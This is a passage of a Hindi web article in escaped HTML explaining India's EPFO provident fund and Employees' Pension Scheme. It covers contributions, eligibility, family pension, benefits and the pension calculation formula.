\u091c\u093e\u0930\u0940 \u0915\u093f\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948, \u091c\u094b \u092a\u0942\u0930\u0947 \u0915\u0930\u093f\u092f\u0930 \u092e\u0947\u0902 \u090f\u0915 \u0939\u0940 \u0930\u0939\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li><strong>\u092f\u094b\u0917\u0926\u093e\u0928<\/strong><strong> (Contribution):<\/strong> \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0905\u092a\u0928\u0940 \u092c\u0947\u0938\u093f\u0915 \u0938\u0948\u0932\u0930\u0940 \u0914\u0930 \u0921\u0940\u090f (Dearness Allowance) \u0915\u093e 12% \u0939\u093f\u0938\u094d\u0938\u093e EPF \u092e\u0947\u0902 \u091c\u092e\u093e \u0915\u0930\u0924\u093e \u0939\u0948\u0964 \u0915\u0902\u092a\u0928\u0940 \u092d\u0940 12% \u0926\u0947\u0924\u0940 \u0939\u0948, \u091c\u093f\u0938\u092e\u0947\u0902 \u0938\u0947 \u0915\u0941\u091b \u0939\u093f\u0938\u094d\u0938\u093e \u092a\u0947\u0902\u0936\u0928 \u0938\u094d\u0915\u0940\u092e (EPS) \u092e\u0947\u0902 \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li><strong>\u092c\u094d\u092f\u093e\u091c<\/strong><strong> (Interest):<\/strong> \u0939\u0930 \u0938\u093e\u0932 \u0938\u0930\u0915\u093e\u0930 EPF \u092a\u0930 \u092c\u094d\u092f\u093e\u091c \u0926\u0930 \u0924\u092f \u0915\u0930\u0924\u0940 \u0939\u0948\u0964 \u091c\u092e\u093e \u0930\u0915\u092e \u092a\u0930 \u092f\u0939 \u092c\u094d\u092f\u093e\u091c \u092d\u0940 \u091c\u094b\u0921\u093c \u0926\u093f\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948, \u091c\u093f\u0938\u0938\u0947 \u0906\u092a\u0915\u0940 \u092c\u091a\u0924 \u0914\u0930 \u092c\u0922\u093c\u0924\u0940 \u0939\u0948\u0964<\/li>\n\n\n\n<li><strong>\u092a\u0948\u0938\u093e<\/strong><strong> <\/strong><strong>\u0928\u093f\u0915\u093e\u0932\u0928\u093e<\/strong><strong>:<\/strong> \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0928\u094c\u0915\u0930\u0940 \u092c\u0926\u0932\u0928\u0947, \u0930\u093f\u091f\u093e\u092f\u0930 \u0939\u094b\u0928\u0947 \u092f\u093e \u091c\u093c\u0930\u0942\u0930\u0924 \u092a\u0921\u093c\u0928\u0947 \u092a\u0930 \u0915\u0941\u091b \u0936\u0930\u094d\u0924\u094b\u0902 \u0915\u0947 \u0905\u0928\u0941\u0938\u093e\u0930 EPF \u0938\u0947 \u092a\u0948\u0938\u093e \u0928\u093f\u0915\u093e\u0932 \u0938\u0915\u0924\u093e \u0939\u0948\u0964 \u0911\u0928\u0932\u093e\u0907\u0928 \u0914\u0930 \u0911\u092b\u0932\u093e\u0907\u0928 \u0926\u094b\u0928\u094b\u0902 \u0924\u0930\u0940\u0915\u094b\u0902 \u0938\u0947 \u092a\u0948\u0938\u093e \u0928\u093f\u0915\u093e\u0932\u093e \u091c\u093e \u0938\u0915\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li><strong>\u0938\u0947\u0935\u093e\u090f\u0901<\/strong><strong>:<\/strong> EPFO \u0911\u0928\u0932\u093e\u0907\u0928 \u092a\u094b\u0930\u094d\u091f\u0932, \u0910\u092a \u0914\u0930 \u0939\u0947\u0932\u094d\u092a\u0932\u093e\u0907\u0928 \u0915\u0947 \u091c\u093c\u0930\u093f\u090f \u0915\u0908 \u0938\u0941\u0935\u093f\u0927\u093e\u090f\u0901 \u0926\u0947\u0924\u093e \u0939\u0948 \u091c\u0948\u0938\u0947 \u092c\u0948\u0932\u0947\u0902\u0938 \u091a\u0947\u0915 \u0915\u0930\u0928\u093e, \u092a\u093e\u0938\u092c\u0941\u0915 \u0926\u0947\u0916\u0928\u093e, \u0914\u0930 \u0926\u093e\u0935\u093e (claim) \u0915\u0930\u0928\u093e\u0964<\/li>\n<\/ol>\n\n\n\n<p>EPFO \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u090f\u0915 \u0938\u0941\u0930\u0915\u094d\u0937\u093f\u0924 \u092c\u091a\u0924 \u092f\u094b\u091c\u0928\u093e \u0939\u0948, \u091c\u094b \u092d\u0935\u093f\u0937\u094d\u092f \u092e\u0947\u0902 \u0906\u0930\u094d\u0925\u093f\u0915 \u092e\u0926\u0926 \u0915\u0930\u0924\u0940 \u0939\u0948\u0964 \u092f\u0939 \u091b\u094b\u091f\u0940-\u091b\u094b\u091f\u0940 \u092c\u091a\u0924\u094b\u0902 \u0915\u094b \u091c\u094b\u0921\u093c\u0915\u0930 \u090f\u0915 \u092c\u0921\u093c\u0940 \u0930\u0915\u092e \u0924\u0948\u092f\u093e\u0930 \u0915\u0930\u0928\u0947 \u092e\u0947\u0902 \u092e\u0926\u0926 \u0915\u0930\u0924\u093e \u0939\u0948, \u091c\u093f\u0938\u0938\u0947 \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u092f\u093e \u091c\u093c\u0930\u0942\u0930\u0924 \u0915\u0947 \u0938\u092e\u092f \u091c\u0940\u0935\u0928 \u0906\u0938\u093e\u0928 \u092c\u0928\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"EPFO_%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%95%E0%A5%8D%E0%A4%AF%E0%A4%BE_%E0%A4%B9%E0%A5%88\"><\/span><strong>EPFO \u092a\u0947\u0902\u0936\u0928 \u0915\u094d\u092f\u093e \u0939\u0948?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>EPFO \u092a\u0947\u0902\u0936\u0928 \u0915\u094b <strong>EPS<\/strong> (Employees&#8217; Pension Scheme) \u092d\u0940 \u0915\u0939\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u092f\u0939 \u092f\u094b\u091c\u0928\u093e 1995 \u092e\u0947\u0902 \u0936\u0941\u0930\u0942 \u0939\u0941\u0908 \u0925\u0940\u0964 \u0907\u0938\u0915\u093e \u092e\u0915\u0938\u0926 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u094b \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 \u0939\u0930 \u092e\u0939\u0940\u0928\u0947 \u090f\u0915 \u0924\u092f \u0930\u0915\u092e \u092a\u0947\u0902\u0936\u0928 \u0915\u0947 \u0930\u0942\u092a \u092e\u0947\u0902 \u0926\u0947\u0928\u093e \u0939\u0948, \u0924\u093e\u0915\u093f \u092c\u0941\u0922\u093c\u093e\u092a\u0947 \u092e\u0947\u0902 \u0909\u0928\u0915\u0940 \u0906\u0930\u094d\u0925\u093f\u0915 \u092e\u0926\u0926 \u0939\u094b \u0938\u0915\u0947\u0964<\/p>\n\n\n\n<p>\u091c\u092c \u0906\u092a \u0915\u093f\u0938\u0940 \u0915\u0902\u092a\u0928\u0940 \u092e\u0947\u0902 \u0915\u093e\u092e \u0915\u0930\u0924\u0947 \u0939\u0948\u0902 \u0914\u0930 \u0906\u092a\u0915\u093e EPF (\u092d\u0935\u093f\u0937\u094d\u092f \u0928\u093f\u0927\u093f) \u0915\u091f\u0924\u093e \u0939\u0948, \u0924\u094b \u0915\u0902\u092a\u0928\u0940 \u0915\u0947 12% \u092f\u094b\u0917\u0926\u093e\u0928 \u092e\u0947\u0902 \u0938\u0947 \u0915\u0941\u091b \u0939\u093f\u0938\u094d\u0938\u093e (8.33%) EPS \u092f\u093e\u0928\u0940 \u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u091c\u0928\u093e \u092e\u0947\u0902 \u091a\u0932\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u0907\u0938\u0915\u0947 \u0905\u0932\u093e\u0935\u093e \u0938\u0930\u0915\u093e\u0930 \u092d\u0940 \u0939\u0930 \u092e\u0939\u0940\u0928\u0947 \u0925\u094b\u0921\u093c\u0940 \u0938\u0940 \u0930\u0915\u092e \u0907\u0938 \u0916\u093e\u0924\u0947 \u092e\u0947\u0902 \u091c\u094b\u0921\u093c\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"EPFO_%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%95%E0%A5%88%E0%A4%B8%E0%A5%87_%E0%A4%95%E0%A4%BE%E0%A4%AE_%E0%A4%95%E0%A4%B0%E0%A4%A4%E0%A5%80%E0%A4%B9%E0%A5%88\"><\/span><strong>EPFO \u092a\u0947\u0902\u0936\u0928 \u0915\u0948\u0938\u0947 \u0915\u093e\u092e \u0915\u0930\u0924\u0940\u0939\u0948?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li>\u091c\u092c \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 58 \u0938\u093e\u0932 \u0915\u0940 \u0909\u092e\u094d\u0930 \u092a\u0942\u0930\u0940 \u0915\u0930\u0924\u093e \u0939\u0948, \u0924\u092c \u0909\u0938\u0947 \u0939\u0930 \u092e\u0939\u0940\u0928\u0947 \u092a\u0947\u0902\u0936\u0928 \u092e\u093f\u0932\u0928\u0940 \u0936\u0941\u0930\u0942 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u0905\u0917\u0930 \u0915\u094b\u0908 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 10 \u0938\u093e\u0932 \u0924\u0915 EPF\/EPS \u092e\u0947\u0902 \u092f\u094b\u0917\u0926\u093e\u0928 \u0915\u0930\u0924\u093e \u0939\u0948, \u0924\u092d\u0940 \u0935\u0939 \u092a\u0947\u0902\u0936\u0928 \u092a\u093e\u0928\u0947 \u0915\u093e \u0939\u0915\u0926\u093e\u0930 \u092c\u0928\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u092a\u0947\u0902\u0936\u0928 \u0915\u0940 \u0930\u0915\u092e \u0907\u0938 \u092c\u093e\u0924 \u092a\u0930 \u0928\u093f\u0930\u094d\u092d\u0930 \u0915\u0930\u0924\u0940 \u0939\u0948 \u0915\u093f \u0906\u092a\u0928\u0947 \u0915\u093f\u0924\u0928\u0947 \u0938\u093e\u0932 \u0928\u094c\u0915\u0930\u0940 \u0915\u0940 \u0939\u0948 \u0914\u0930 \u0906\u092a\u0915\u0940 \u0915\u093f\u0924\u0928\u0940 \u0938\u0948\u0932\u0930\u0940 \u0925\u0940\u0964<\/li>\n\n\n\n<li>\u0905\u0917\u0930 \u0915\u094b\u0908 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 58 \u0938\u093e\u0932 \u0938\u0947 \u092a\u0939\u0932\u0947 \u0930\u093f\u091f\u093e\u092f\u0930 \u0939\u094b\u0924\u093e \u0939\u0948, \u0924\u094b \u0909\u0938\u0947 \u092a\u0947\u0902\u0936\u0928 \u0915\u092e \u092e\u093f\u0932\u0924\u0940 \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u0915\u093f\u0938\u0940 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u0947 \u0928\u093f\u0927\u0928 \u092a\u0930 \u0909\u0938\u0915\u0947 \u092a\u0930\u093f\u0935\u093e\u0930 \u0915\u094b \u092d\u0940 \u092a\u0947\u0902\u0936\u0928 \u092e\u093f\u0932\u0924\u0940 \u0939\u0948, \u091c\u093f\u0938\u0947 \u092b\u0948\u092e\u093f\u0932\u0940 \u092a\u0947\u0902\u0936\u0928 \u0915\u0939\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"EPFO_%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%95%E0%A5%87_%E0%A4%AB%E0%A4%BE%E0%A4%AF%E0%A4%A6%E0%A5%87\"><\/span><strong>EPFO \u092a\u0947\u0902\u0936\u0928 \u0915\u0947 \u092b\u093e\u092f\u0926\u0947<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>EPFO \u092a\u0947\u0902\u0936\u0928 \u092f\u093e\u0928\u0940 Employees&#8217; Pension Scheme (EPS) \u090f\u0915 \u0910\u0938\u0940 \u092f\u094b\u091c\u0928\u093e \u0939\u0948 \u091c\u094b \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u094b \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 \u0939\u0930 \u092e\u0939\u0940\u0928\u0947 \u0928\u093f\u092f\u092e\u093f\u0924 \u0906\u092f \u0926\u0947\u0924\u0940 \u0939\u0948\u0964 \u092f\u0939 \u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u091c\u0928\u093e \u0928\u094c\u0915\u0930\u0940\u092a\u0947\u0936\u093e \u0932\u094b\u0917\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u092c\u0939\u0941\u0924 \u092b\u093e\u092f\u0926\u0947\u092e\u0902\u0926 \u0939\u0948, \u0915\u094d\u092f\u094b\u0902\u0915\u093f \u092f\u0939 \u092c\u0941\u0922\u093c\u093e\u092a\u0947 \u092e\u0947\u0902 \u0906\u0930\u094d\u0925\u093f\u0915 \u0938\u0941\u0930\u0915\u094d\u0937\u093e \u0926\u0947\u0924\u0940 \u0939\u0948\u0964 \u0906\u0907\u090f \u0906\u0938\u093e\u0928 \u092d\u093e\u0937\u093e \u092e\u0947\u0902 EPFO \u092a\u0947\u0902\u0936\u0928 \u0915\u0947 \u092b\u093e\u092f\u0926\u094b\u0902 \u0915\u094b \u0938\u092e\u091d\u0924\u0947 \u0939\u0948\u0902:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%B0%E0%A4%BF%E0%A4%9F%E0%A4%BE%E0%A4%AF%E0%A4%B0%E0%A4%AE%E0%A5%87%E0%A4%82%E0%A4%9F_%E0%A4%95%E0%A5%87_%E0%A4%AC%E0%A4%BE%E0%A4%A6_%E0%A4%A8%E0%A4%BF%E0%A4%AF%E0%A4%AE%E0%A4%BF%E0%A4%A4_%E0%A4%86%E0%A4%AF\"><\/span><strong>\u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 \u0928\u093f\u092f\u092e\u093f\u0924 \u0906\u092f<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>EPFO \u092a\u0947\u0902\u0936\u0928 \u0915\u093e \u0938\u092c\u0938\u0947 \u092c\u0921\u093c\u093e \u092b\u093e\u092f\u0926\u093e \u092f\u0939 \u0939\u0948 \u0915\u093f \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 \u092d\u0940 \u0939\u0930 \u092e\u0939\u0940\u0928\u0947 \u090f\u0915 \u0928\u093f\u0936\u094d\u091a\u093f\u0924 \u0930\u0915\u092e \u092e\u093f\u0932\u0924\u0940 \u0930\u0939\u0924\u0940 \u0939\u0948\u0964 \u0907\u0938\u0938\u0947 \u0935\u094d\u092f\u0915\u094d\u0924\u093f \u0905\u092a\u0928\u0940 \u092c\u0941\u0928\u093f\u092f\u093e\u0926\u0940 \u091c\u0930\u0942\u0930\u0924\u0947\u0902 \u0906\u0938\u093e\u0928\u0940 \u0938\u0947 \u092a\u0942\u0930\u0940 \u0915\u0930 \u0938\u0915\u0924\u093e \u0939\u0948 \u0914\u0930 \u0906\u0924\u094d\u092e\u0928\u093f\u0930\u094d\u092d\u0930 \u092c\u0928\u093e \u0930\u0939\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%AA%E0%A4%B0%E0%A4%BF%E0%A4%B5%E0%A4%BE%E0%A4%B0_%E0%A4%95%E0%A5%8B_%E0%A4%B8%E0%A5%81%E0%A4%B0%E0%A4%95%E0%A5%8D%E0%A4%B7%E0%A4%BE\"><\/span><strong>\u092a\u0930\u093f\u0935\u093e\u0930 \u0915\u094b \u0938\u0941\u0930\u0915\u094d\u0937\u093e<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u0905\u0917\u0930 \u0915\u093f\u0938\u0940 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u093e \u0928\u093f\u0927\u0928 \u0939\u094b \u091c\u093e\u0924\u093e \u0939\u0948, \u0924\u094b \u0909\u0938\u0915\u0947 \u092a\u0930\u093f\u0935\u093e\u0930 \u0915\u094b \u092d\u0940 \u092a\u0947\u0902\u0936\u0928 \u0915\u093e \u0932\u093e\u092d \u092e\u093f\u0932\u0924\u093e \u0939\u0948\u0964 \u0907\u0938\u0947 \u092b\u0948\u092e\u093f\u0932\u0940 \u092a\u0947\u0902\u0936\u0928 \u0915\u0939\u0924\u0947 \u0939\u0948\u0902\u0964 \u0907\u0938 \u0938\u0941\u0935\u093f\u0927\u093e \u0915\u0947 \u0924\u0939\u0924 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u0947 \u092a\u0924\u093f\/\u092a\u0924\u094d\u0928\u0940 \u0914\u0930 \u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u094b \u0906\u0930\u094d\u0925\u093f\u0915 \u092e\u0926\u0926 \u092e\u093f\u0932\u0924\u0940 \u0939\u0948, \u091c\u093f\u0938\u0938\u0947 \u0935\u0947 \u0915\u0920\u093f\u0928 \u0938\u092e\u092f \u092e\u0947\u0902 \u0938\u0941\u0930\u0915\u094d\u0937\u093f\u0924 \u0930\u0939\u0924\u0947 \u0939\u0948\u0902\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%9C%E0%A5%80%E0%A4%B5%E0%A4%A8%E0%A4%AD%E0%A4%B0_%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%95%E0%A4%BE_%E0%A4%B2%E0%A4%BE%E0%A4%AD\"><\/span><strong>\u091c\u0940\u0935\u0928\u092d\u0930 \u092a\u0947\u0902\u0936\u0928 \u0915\u093e \u0932\u093e\u092d<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u090f\u0915 \u092c\u093e\u0930 \u092a\u0947\u0902\u0936\u0928 \u092e\u093f\u0932\u0928\u093e \u0936\u0941\u0930\u0942 \u0939\u094b \u091c\u093e\u090f, \u0924\u094b \u092f\u0939 \u091c\u0940\u0935\u0928\u092d\u0930 \u092e\u093f\u0932\u0924\u0940 \u0930\u0939\u0924\u0940 \u0939\u0948\u0964 \u092f\u0939 \u0938\u0941\u0935\u093f\u0927\u093e \u0935\u094d\u092f\u0915\u094d\u0924\u093f \u0915\u094b \u0906\u0930\u094d\u0925\u093f\u0915 \u091a\u093f\u0902\u0924\u093e \u0938\u0947 \u092e\u0941\u0915\u094d\u0924 \u0915\u0930\u0924\u0940 \u0939\u0948 \u0914\u0930 \u0909\u0938\u0947 \u0938\u092e\u094d\u092e\u093e\u0928\u092a\u0942\u0930\u094d\u0935\u0915 \u091c\u0940\u0935\u0928 \u091c\u0940\u0928\u0947 \u092e\u0947\u0902 \u092e\u0926\u0926 \u0915\u0930\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%A8%E0%A5%8D%E0%A4%AF%E0%A5%82%E0%A4%A8%E0%A4%A4%E0%A4%AE_%E0%A4%B8%E0%A5%87%E0%A4%B5%E0%A4%BE_%E0%A4%95%E0%A5%87_%E0%A4%AC%E0%A4%BE%E0%A4%A6_%E0%A4%AD%E0%A5%80_%E0%A4%B2%E0%A4%BE%E0%A4%AD\"><\/span><strong>\u0928\u094d\u092f\u0942\u0928\u0924\u092e \u0938\u0947\u0935\u093e \u0915\u0947 \u092c\u093e\u0926 \u092d\u0940 \u0932\u093e\u092d<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u0905\u0917\u0930 \u0915\u094b\u0908 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u092e \u0938\u0947 \u0915\u092e 10 \u0938\u093e\u0932 \u0924\u0915 EPF\/EPS \u092f\u094b\u091c\u0928\u093e \u092e\u0947\u0902 \u092f\u094b\u0917\u0926\u093e\u0928 \u0915\u0930\u0924\u093e \u0939\u0948, \u0924\u094b \u0935\u0939 \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 \u092a\u0947\u0902\u0936\u0928 \u092a\u093e\u0928\u0947 \u0915\u093e \u0939\u0915\u0926\u093e\u0930 \u092c\u0928 \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u092f\u093e\u0928\u0940 \u0928\u094c\u0915\u0930\u0940 \u091a\u093e\u0939\u0947 \u091b\u094b\u091f\u0940 \u0905\u0935\u0927\u093f \u0915\u0940 \u0915\u094d\u092f\u094b\u0902 \u0928 \u0939\u094b, \u092b\u093f\u0930 \u092d\u0940 \u092a\u0947\u0902\u0936\u0928 \u0915\u093e \u092b\u093e\u092f\u0926\u093e \u092e\u093f\u0932\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%B8%E0%A4%B0%E0%A4%95%E0%A4%BE%E0%A4%B0%E0%A5%80_%E0%A4%AF%E0%A5%8B%E0%A4%9C%E0%A4%A8%E0%A4%BE_%E0%A4%B9%E0%A5%8B%E0%A4%A8%E0%A5%87_%E0%A4%95%E0%A4%BE_%E0%A4%AD%E0%A4%B0%E0%A5%8B%E0%A4%B8%E0%A4%BE\"><\/span><strong>\u0938\u0930\u0915\u093e\u0930\u0940 \u092f\u094b\u091c\u0928\u093e \u0939\u094b\u0928\u0947 \u0915\u093e \u092d\u0930\u094b\u0938\u093e<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>EPFO \u092d\u093e\u0930\u0924 \u0938\u0930\u0915\u093e\u0930 \u0926\u094d\u0935\u093e\u0930\u093e \u0938\u0902\u091a\u093e\u0932\u093f\u0924 \u090f\u0915 \u092f\u094b\u091c\u0928\u093e \u0939\u0948, \u0907\u0938\u0932\u093f\u090f \u0907\u0938\u092e\u0947\u0902 \u0928\u093f\u0935\u0947\u0936 \u092a\u0942\u0930\u0940 \u0924\u0930\u0939 \u0938\u0941\u0930\u0915\u094d\u0937\u093f\u0924 \u092e\u093e\u0928\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u094b \u0905\u092a\u0928\u0947 \u092a\u0948\u0938\u0947 \u0915\u0947 \u0921\u0942\u092c\u0928\u0947 \u092f\u093e \u0915\u093f\u0938\u0940 \u0927\u094b\u0916\u093e\u0927\u0921\u093c\u0940 \u0915\u0940 \u091a\u093f\u0902\u0924\u093e \u0928\u0939\u0940\u0902 \u0915\u0930\u0928\u0940 \u092a\u0921\u093c\u0924\u0940\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%86%E0%A4%B8%E0%A4%BE%E0%A4%A8_%E0%A4%86%E0%A4%B5%E0%A5%87%E0%A4%A6%E0%A4%A8_%E0%A4%94%E0%A4%B0_%E0%A4%91%E0%A4%A8%E0%A4%B2%E0%A4%BE%E0%A4%87%E0%A4%A8_%E0%A4%B8%E0%A5%81%E0%A4%B5%E0%A4%BF%E0%A4%A7%E0%A4%BE%E0%A4%8F%E0%A4%82\"><\/span><strong>\u0906\u0938\u093e\u0928 \u0906\u0935\u0947\u0926\u0928 \u0914\u0930 \u0911\u0928\u0932\u093e\u0907\u0928 \u0938\u0941\u0935\u093f\u0927\u093e\u090f\u0902<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u0906\u091c\u0915\u0932 EPFO \u0915\u0940 \u0938\u0947\u0935\u093e\u090f\u0901 \u0911\u0928\u0932\u093e\u0907\u0928 \u0909\u092a\u0932\u092c\u094d\u0927 \u0939\u0948\u0902\u0964 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0905\u092a\u0928\u093e \u092a\u0947\u0902\u0936\u0928 \u0915\u094d\u0932\u0947\u092e \u0911\u0928\u0932\u093e\u0907\u0928 \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902, \u0938\u094d\u091f\u0947\u091f\u0938 \u091a\u0947\u0915 \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902 \u0914\u0930 \u092a\u0947\u0902\u0936\u0928 \u092a\u093e\u0938\u092c\u0941\u0915 \u092d\u0940 \u0926\u0947\u0916 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964 \u0907\u0938\u0938\u0947 \u092a\u094d\u0930\u0915\u094d\u0930\u093f\u092f\u093e \u0924\u0947\u091c \u0914\u0930 \u0938\u0930\u0932 \u0939\u094b \u0917\u0908 \u0939\u0948\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"EPFO_%E0%A4%B8%E0%A5%87_%E0%A4%95%E0%A4%BF%E0%A4%A4%E0%A4%A8%E0%A5%80_%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%AE%E0%A4%BF%E0%A4%B2%E0%A4%A4%E0%A5%80_%E0%A4%B9%E0%A5%88\"><\/span><strong>EPFO \u0938\u0947 \u0915\u093f\u0924\u0928\u0940 \u092a\u0947\u0902\u0936\u0928 \u092e\u093f\u0932\u0924\u0940 \u0939\u0948?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>EPFO \u092a\u0947\u0902\u0936\u0928 \u092f\u093e\u0928\u0940 Employees&#8217; Pension Scheme (EPS) \u0915\u0947 \u0924\u0939\u0924 \u092e\u093f\u0932\u0928\u0947 \u0935\u093e\u0932\u0940 \u092a\u0947\u0902\u0936\u0928 \u0915\u0940 \u0930\u0915\u092e \u0939\u0930 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u0947 \u0935\u0947\u0924\u0928 \u0914\u0930 \u0938\u0947\u0935\u093e \u0905\u0935\u0927\u093f (\u0915\u093e\u092e \u0915\u0947 \u0938\u093e\u0932\u094b\u0902) \u092a\u0930 \u0928\u093f\u0930\u094d\u092d\u0930 \u0915\u0930\u0924\u0940 \u0939\u0948\u0964 \u092f\u093e\u0928\u0940, \u091c\u093f\u0924\u0928\u0940 \u091c\u094d\u092f\u093e\u0926\u093e \u0906\u092a\u0915\u0940 \u092c\u0947\u0938\u093f\u0915 \u0938\u0948\u0932\u0930\u0940 \u0914\u0930 \u0928\u094c\u0915\u0930\u0940 \u0915\u0947 \u0938\u093e\u0932 \u0939\u094b\u0902\u0917\u0947, \u0909\u0924\u0928\u0940 \u091c\u094d\u092f\u093e\u0926\u093e \u092a\u0947\u0902\u0936\u0928 \u092e\u093f\u0932\u0947\u0917\u0940\u0964<\/p>\n\n\n\n<p>EPFO \u092a\u0947\u0902\u0936\u0928 \u0915\u0940 \u0917\u0923\u0928\u093e \u090f\u0915 \u0924\u092f \u092b\u0949\u0930\u094d\u092e\u0942\u0932\u093e \u0938\u0947 \u0939\u094b\u0924\u0940 \u0939\u0948:<\/p>\n\n\n\n<p><strong>\u092a\u0947\u0902\u0936\u0928<\/strong><strong> = (<\/strong><strong>\u092a\u0947\u0902\u0936\u0928<\/strong><strong> <\/strong><strong>\u092f\u094b\u0917\u094d\u092f<\/strong><strong> <\/strong><strong>\u0938\u0948\u0932\u0930\u0940<\/strong><strong> \u00d7 <\/strong><strong>\u0915\u093e\u092e<\/strong><strong> <\/strong><strong>\u0915\u0947<\/strong><strong> <\/strong><strong>\u0915\u0941\u0932<\/strong><strong> <\/strong><strong>\u0938\u093e\u0932<\/strong><strong>) \u00f7 70<\/strong><\/p>\n\n\n\n<p>\u092f\u0939\u093e\u0901 \u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u0917\u094d\u092f \u0938\u0948\u0932\u0930\u0940 \u0915\u093e \u092e\u0924\u0932\u092c \u0939\u0948 \u0906\u092a\u0915\u0940 \u0905\u0902\u0924\u093f\u092e 5 \u0938\u093e\u0932\u094b\u0902 \u0915\u0940 \u0914\u0938\u0924 \u092c\u0947\u0938\u093f\u0915 \u0938\u0948\u0932\u0930\u0940 (\u092e\u0942\u0932 \u0935\u0947\u0924\u0928 + \u0921\u0940\u090f)\u0964 \u0905\u092d\u0940 \u0915\u0947 \u0928\u093f\u092f\u092e\u094b\u0902 \u0915\u0947 \u0905\u0928\u0941\u0938\u093e\u0930, \u0905\u0927\u093f\u0915\u0924\u092e \u092a\u0947\u0902\u0936\u0928 